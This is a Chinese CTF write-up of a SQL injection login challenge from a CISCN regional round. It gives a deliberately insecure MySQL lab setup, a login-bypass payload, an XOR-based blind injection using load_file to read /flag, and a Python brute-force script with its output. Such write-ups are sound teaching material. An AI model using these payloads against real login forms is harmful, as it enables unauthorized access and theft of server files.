国赛华南赛区的一道注入题

这次国赛web几乎清一色登录框,而且和平常比赛的题目也有点不同吧(留下了没有技术的泪水)

题目环境搭建apache2+php7.2+mysql

ubuntu  
apt-get install apache2 php7.2 mysql-server php7.2-mysql libapache2-mod-php  
  
mysql  
/etc/mysql/mysql.conf.d/mysqld.cnf添加secure_file_priv = "/"  
GRANT FILE ON *.* TO 'www-data'@'%';  
GRANT ALL PRIVILEGES ON `test`.`user` TO 'www-data'@'%';

注入点判断payload,过滤了很多参数

admin'/**/or/**/'1'='1'#

成功登陆后提示flag在根目录
1
mysql读取文件有个方法是用load_file这个命令,具体用法如下

mysql> select load_file('/flag');  
+--------------------------+  
| load_file('/flag')       |  
+--------------------------+  
| ciscn{T2UXiFeu7HzoBj4R}  |  
+--------------------------+  
1 row in set (0.01 sec)

因为and被过滤了,^(异或)没有,所以判断语句如下

admin'^1^1#

^符号的用法如下

mysql> select * from user where username = 'admin'^1^1;  
+----------+----------+  
| username | password |  
+----------+----------+  
| admin    | admin123 |  
+----------+----------+  
1 row in set, 2 warnings (0.00 sec)  
  
mysql> select * from user where username = 'admin'^1^0;  
Empty set, 2 warnings (0.00 sec)

因此我们需要构造判断结果为1的查询语句,这里要用到like这个方法

mysql> select username like 'a%' from user;  
+--------------------+  
| username like 'a%' |  
+--------------------+  
|                  1 |  
+--------------------+  
1 row in set (0.00 sec)  
  
mysql> select username like 'b%' from user;  
+--------------------+  
| username like 'b%' |  
+--------------------+  
|                  0 |  
+--------------------+  
1 row in set (0.00 sec)

结合上面我们的payload为

admin'^1^(select/**/load_file('/flag')/**/like/**/'c%')

python脚本如下

import requests
import string
url = 'http://192.168.1.205/ciscn12/web4/index.php'
def query(data):
	global url
	payload = "admin'^1^(select/**/load_file('/flag')/**/like/**/'{data}%')#".format(data = data)
	proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080",}
	data = {'username':payload,'password':'1'}
	req = requests.post(url = url,data = data)
	length = len(req.text)
	return length
if __name__ == '__main__':
	flag = ''
	str = string.letters+string.digits+'{'+'}'
	for j in range(50):
		for i in str:
			flag += i
			res = query(flag)
			if(res == 462):
				break
			else:
				flag = flag[:-1]
		print flag
		if i == '}':
			break

result

c  
ci  
cis  
cisc  
ciscn  
ciscn{  
ciscn{T  
ciscn{T2  
ciscn{T2U  
ciscn{T2UX  
ciscn{T2UXi  
ciscn{T2UXiF  
ciscn{T2UXiFe  
ciscn{T2UXiFeu  
ciscn{T2UXiFeu7  
ciscn{T2UXiFeu7H  
ciscn{T2UXiFeu7Hz  
ciscn{T2UXiFeu7Hzo  
ciscn{T2UXiFeu7HzoB  
ciscn{T2UXiFeu7HzoBj  
ciscn{T2UXiFeu7HzoBj4  
ciscn{T2UXiFeu7HzoBj4R  
ciscn{T2UXiFeu7HzoBj4R}

待更新